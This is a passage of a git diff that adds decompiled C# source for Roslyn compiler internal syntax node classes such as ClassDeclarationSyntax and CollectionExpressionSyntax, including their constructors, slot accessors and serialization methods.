attributeLists, keyword, block, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CheckedStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)block); + } + + static CheckedStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CheckedStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CheckedStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassDeclarationSyntax.cs new file mode 100644 index 0000000..45d9287 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassDeclarationSyntax.cs @@ -0,0 +1,417 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ClassDeclarationSyntax : TypeDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax? parameterList; + + internal readonly BaseListSyntax? baseList; + + internal readonly GreenNode? constraintClauses; + + internal readonly SyntaxToken? openBraceToken; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken? closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken Keyword => keyword; + + public override SyntaxToken Identifier => identifier; + + public override TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public override ParameterListSyntax? ParameterList => parameterList; + + public override BaseListSyntax? BaseList => baseList; + + public override SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public override SyntaxToken? OpenBraceToken => openBraceToken; + + public override SyntaxList Members => new SyntaxList(members); + + public override SyntaxToken? CloseBraceToken => closeBraceToken; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal ClassDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ClassDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ClassDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => keyword, + 3 => identifier, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 8 => openBraceToken, + 9 => members, + 10 => closeBraceToken, + 11 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitClassDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitClassDeclaration(this); + } + + public ClassDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, BaseListSyntax baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + ClassDeclarationSyntax classDeclarationSyntax = SyntaxFactory.ClassDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + classDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(classDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + classDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(classDeclarationSyntax, (IEnumerable)annotations); + } + return classDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ClassDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ClassDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ClassDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Expected O, but got Unknown + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 12; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + TypeParameterListSyntax typeParameterListSyntax = (TypeParameterListSyntax)reader.ReadValue(); + if (typeParameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterListSyntax); + typeParameterList = typeParameterListSyntax; + } + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + if (parameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + } + BaseListSyntax baseListSyntax = (BaseListSyntax)reader.ReadValue(); + if (baseListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseListSyntax); + baseList = baseListSyntax; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + constraintClauses = val3; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openBraceToken = syntaxToken3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + members = val4; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeBraceToken = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeParameterList); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)baseList); + writer.WriteValue((IObjectWritable)(object)constraintClauses); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ClassDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ClassDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ClassDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassOrStructConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassOrStructConstraintSyntax.cs new file mode 100644 index 0000000..988621a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ClassOrStructConstraintSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ClassOrStructConstraintSyntax : TypeParameterConstraintSyntax +{ + internal readonly SyntaxToken classOrStructKeyword; + + internal readonly SyntaxToken? questionToken; + + public SyntaxToken ClassOrStructKeyword => classOrStructKeyword; + + public SyntaxToken? QuestionToken => questionToken; + + internal ClassOrStructConstraintSyntax(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken? questionToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + if (questionToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + } + + internal ClassOrStructConstraintSyntax(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken? questionToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + if (questionToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + } + + internal ClassOrStructConstraintSyntax(SyntaxKind kind, SyntaxToken classOrStructKeyword, SyntaxToken? questionToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)classOrStructKeyword); + this.classOrStructKeyword = classOrStructKeyword; + if (questionToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)questionToken); + this.questionToken = questionToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => classOrStructKeyword, + 1 => questionToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ClassOrStructConstraintSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitClassOrStructConstraint(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitClassOrStructConstraint(this); + } + + public ClassOrStructConstraintSyntax Update(SyntaxToken classOrStructKeyword, SyntaxToken questionToken) + { + if (classOrStructKeyword != ClassOrStructKeyword || questionToken != QuestionToken) + { + ClassOrStructConstraintSyntax classOrStructConstraintSyntax = SyntaxFactory.ClassOrStructConstraint(base.Kind, classOrStructKeyword, questionToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + classOrStructConstraintSyntax = GreenNodeExtensions.WithDiagnosticsGreen(classOrStructConstraintSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + classOrStructConstraintSyntax = GreenNodeExtensions.WithAnnotationsGreen(classOrStructConstraintSyntax, (IEnumerable)annotations); + } + return classOrStructConstraintSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ClassOrStructConstraintSyntax(base.Kind, classOrStructKeyword, questionToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ClassOrStructConstraintSyntax(base.Kind, classOrStructKeyword, questionToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ClassOrStructConstraintSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + classOrStructKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + questionToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)classOrStructKeyword); + writer.WriteValue((IObjectWritable)(object)questionToken); + } + + static ClassOrStructConstraintSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ClassOrStructConstraintSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ClassOrStructConstraintSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionElementSyntax.cs new file mode 100644 index 0000000..eb1b6fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionElementSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class CollectionElementSyntax : CSharpSyntaxNode +{ + internal CollectionElementSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal CollectionElementSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected CollectionElementSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionExpressionSyntax.cs new file mode 100644 index 0000000..0868fe2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CollectionExpressionSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CollectionExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? elements; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SeparatedSyntaxList Elements => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(elements))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal CollectionExpressionSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? elements, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal CollectionExpressionSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? elements, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal CollectionExpressionSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? elements, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (elements != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(elements); + this.elements = elements; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => elements, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CollectionExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCollectionExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCollectionExpression(this); + } + + public CollectionExpressionSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList elements, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Elements; + if (!((ref elements) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + CollectionExpressionSyntax collectionExpressionSyntax = SyntaxFactory.CollectionExpression(openBracketToken, elements, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + collectionExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(collectionExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + collectionExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(collectionExpressionSyntax, (IEnumerable)annotations); + } + return collectionExpressionSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CollectionExpressionSyntax(base.Kind, openBracketToken, elements, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CollectionExpressionSyntax(base.Kind, openBracketToken, elements, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CollectionExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + elements = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)elements); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static CollectionExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CollectionExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CollectionExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CommonForEachStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CommonForEachStatementSyntax.cs new file mode 100644 index 0000000..cfd3adb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CommonForEachStatementSyntax.cs @@ -0,0 +1,35 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class CommonForEachStatementSyntax : StatementSyntax +{ + public abstract SyntaxToken? AwaitKeyword { get; } + + public abstract SyntaxToken ForEachKeyword { get; } + + public abstract SyntaxToken OpenParenToken { get; } + + public abstract SyntaxToken InKeyword { get; } + + public abstract ExpressionSyntax Expression { get; } + + public abstract SyntaxToken CloseParenToken { get; } + + public abstract StatementSyntax Statement { get; } + + internal CommonForEachStatementSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, 